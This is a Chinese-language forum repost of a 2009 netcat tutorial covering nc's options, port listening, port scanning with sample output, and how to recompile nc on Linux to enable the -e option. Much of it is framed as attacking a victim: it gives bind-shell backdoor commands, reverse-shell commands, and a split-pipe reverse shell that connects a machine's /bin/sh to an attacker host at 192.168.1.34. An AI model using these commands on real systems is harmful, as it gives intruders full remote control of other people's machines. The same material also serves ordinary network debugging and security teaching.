免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2536 | 回复: 0
打印 上一主题 下一主题

nc 的使用 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2009-08-31 21:10 |只看该作者 |倒序浏览

Netcat在Linux和windows下的使用与技巧

net
ca
t(简 称nc)被誉为网络安全界的‘瑞士军刀’,相信很多人都认识它吧。它是一个简单但实用的工具,通过使用TCP或UDP协议的网络连接去读写数据。它被设计 成一个稳定的后门工具, 能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功 能。本文介绍了nc在Windows和Linux下的使用方法。同时还介绍几个在linux的配置技巧。
nc是一个命令行工具,在Windows和在Linux下的使用方法查不多(如无特别说明,本文测试的Windows机器为 winxp+sp2,Linux为Redhat9.0),我们可以通过nc –h(Windows下在nc所在的目录才能用此命令,Linux下必须将nc所在的目录加入Linux的PATH路径里)。我们能看到下图一:

图一: 在windows 中nc –h
一 般来说,Linux/Unix系统默认是自带nc这个工具,但是也许是为了安全方面的考虑,后来的nc的版本中去掉了-e参数的。在Linux下我们nc –h可以看到如下图二,通过图一和图二的对比,我们可以清楚的看到,在Linux下少了两个参数,分别是-d和-e。

图二:在Linux下nc –h
从nc –h我们可以看到各个参数的使用方法,nc的基本使用格式是:
nc [-options] hostname port [ports] ...
nc -l -p port [options] [hostname] [port]
下面我们来具体介绍每个参数的意义和用法:
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!] //我们可以通过shell 绑定将Windows下的cmd和Linux的/bin/sh绑定,这样非常危险,我们整个系统对别人来说是完全透明,从下面的例子中我们可以看到。这也 是Linux默认去掉-e参数的原因。
-g 网关源路由模式的跳数,最多为8
-G 源路由模式的节点个数,一般为4,8,12, ...n-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs 指定扫描所用的时间
-z 将输入输出关掉--用于扫描时
我们下面将具体举例介绍nc的用法:
1:监听本地机器的端口:
nc –l –p port //port指定监听的本地端口号

图三:监听本机的80端口
2:扫描远程主机:
其常用格式是:nc –vv –z –w 数字 欲扫描IP 端口范围 / /其中数字
指定扫描的时间间隔。

图四:对远程主机进行扫描
3:绑定主机shell作为后门
这一般分两个步骤:
步骤一: 我们在被攻击的机器上用下列命令:nc –v –l –p 端口号 –e shell // 其中端口号是我们欲将shell绑定到哪个端口,shell在不同的系统是不同,在Windows下是cmd.exe,在Linux下一般是/bin/sh。
步骤二: 攻击者在自己的机器上使用命令 :nc 被攻击者IP 端口号来达到远程控制受害者(被攻击者)的机器。
我们下面的例子是将windows下的cmd.exe绑定在80端口,然后在Linux机器上进行控制。

图五:在windows绑定cmd.exe到80端口

图六:我们连接到上面绑定机器的80端口
从图六我们可以看到,我们在Linux下完全得到了Windows下一样的cmd.exe,而且我们可以完全像在本地控制一样远程完全控制Windows,这样如果我们运行format 命令后果可想而知。
4:主机绑定shell并反向连接
我们可以使用两种方法:
方法一:
分两个步骤:
步骤I:攻击者在自己的机器上指定欲监听的端口号,使用如下命令
nc –vv –l –p 欲监听的端口号
步骤II:在受害者(被攻击者)机器上我们绑定shell到攻击者的机器所监听的端口

图七:绑定windows下的cmd到Linux机器的9999端口
这时,我们在步骤一处于监听状态的机器就会看到如图八所示的情形:

图八:在处于监听状态的Linux机器上得到的cmd.exe
可以看到此时我们已完全控制了受害者的机器。
方法二:
我们甚至可以实现将输入窗口和输出窗口绑定到两个不同的端口,
这样我们在一个窗口输入命令,一个窗口输出这个命令的结果,同样分
两个步骤:
步骤I:在攻击者的机器上,我们分别用如下的两个命令
nc –vv –l –p 端口一
nc –vv –l –p 端口二 //这里我们将绑定端口一为输入窗口,绑定端口二为输出窗口。
步骤II:在受害者的机器上,我们使用如下的命令
nc 攻击者机器IP 端口一 | shell | nc 攻击者机器IP 端口二
//这里的shell 和上面所说的shell相同,在Windows指cmd.exe,
在Linux下指/bin/sh
下 面的例子中,我们用命令nc 192.168.1.34 9999 |/bin/sh| nc 192.168.1.34 8888 绑定Linux下的shell(即/bin/sh)到我们的Windows机器(IP为192.168.1.34),中间的”|”是管道符合,表示前面的 端口9999绑定到我们的输入窗口,后面的端口8888绑定到我们的输出窗口。

图九:绑定端口9999为输入窗口

图十:绑定端口8888为输出窗口

图十一:在Linux机器上绑定shell到输入窗口和输出窗口
当我们在输入窗口输入ls命令时

图十二:在绑定端口为9999的输入窗口输入命令ls
在我们的输出窗口可以看到上面ls命令的输出结果

图十三:在绑定端口为8888的输出窗口我们可以看到ls命令的结果。
细 心的读者也许或发现,我上面不是说Linux下默认是不能绑定shell的吗,为什么在上面的图十一 中我们却绑定/bin/sh到windows下的端口下?这确实是个很好的问题,诚然Linux为了安全考虑去掉了默认的-e参数,但没有关系,我们可以 自己下载一个nc,然后编译让它带有-e参数。
我们下载nc110.tgz到我们的Linux机器上,但是我们发现我们用
tar –zxvf nc110.tgz解压后,然后用
gcc -O -s -DGAPING_SECURITY_HOLE -DTELNET -DLINUX -static -o nc netcat.c 会出现如下图十四的错误提示,说”undefined reference to `_res_init'”。
为 什么会出现这种情况呢?这是因为netcat.c中在main函数中调用了函数 res_init(),这是一个glibc中的函数,现在改名为了__res_init(),我们可以用sed命令修改netcat.c或是直接在vi中 将res_init()改为__res_init(),这是我们再用上面的gcc命令编译就可以通过,而且gcc的参数-s确保strip操作,这样我们 在Linux机器上就有了带-e参数的nc了,我们可以用nc –h看到nc的参数列表,如下图十五,我们可以看到,确实已经有了-e的参数选项。

图十五:Linux下带有-e参数的nc
现 在我们可以将/bin/sh绑定在一个端口,然后通过Windows机器来控制这个shell。分别 如图十六,图十七所示,当我们在Linux机器输入nc -e /bin/sh -l -p 9999时,系统一直处于监听状态,我们在Windows上来监听这个9999端口,然后我们可以输入Linux命令来远程完全控制此shell。

图十六:我们将/bin/sh绑定在9999端口

图十七:我们通过Windows监听9999端口来获得shell
笔 者也将nc110.tgz下载到freebsd系统下,经过测试发现,在freebsd下,不需要修 改netcat.c中的res_init(),直接用gcc命令编译就可以生成带-e参数的nc,笔者用于测试的freebsd系统为FreeBSD 4.6-RELEASE。
nc确实是网络安全以及黑客世界一个非常流行和使用的工具,nc的用法是很多的,这里我们只介绍了几种最常用的用法,并且介绍了在Linux下重新编译nc使得其带有-e参数的方法和技巧,希望对大家有所帮助。
tcp掃瞄
C:\nc>nc -v -z -w2 192.168.0.80 1-140
net [192.168.0.80] 140 (?)
net [192.168.0.80] 139 (netbios-ssn) open
net [192.168.0.80] 138 (?)
net [192.168.0.80] 137 (netbios-ns)
net [192.168.0.80] 136 (?)
net [192.168.0.80] 135 (epmap) open
net [192.168.0.80] 81 (?) open
net [192.168.0.80] 80 (http) open
net [192.168.0.80] 79 (finger)
net [192.168.0.80] 25 (smtp) open
net [192.168.0.80] 24 (?)
net [192.168.0.80] 23 (telnet)
net [192.168.0.80] 21 (ftp)
udp掃瞄
C:\nc>nc -u -v -z -w2 192.168.0.80 1-140
net [192.168.0.80] 140 (?) open
net [192.168.0.80] 139 (?) open
net [192.168.0.80] 138 (netbios-dgm) open
net [192.168.0.80] 137 (netbios-ns) open
net [192.168.0.80] 54 (?) open
net [192.168.0.80] 53 (domain) open
net [192.168.0.80] 38 (?) open
net [192.168.0.80] 37 (time) open
net [192.168.0.80] 7 (echo) open
**很老的贴子,不过方法依然管用

本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u2/72370/showart_2042401.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP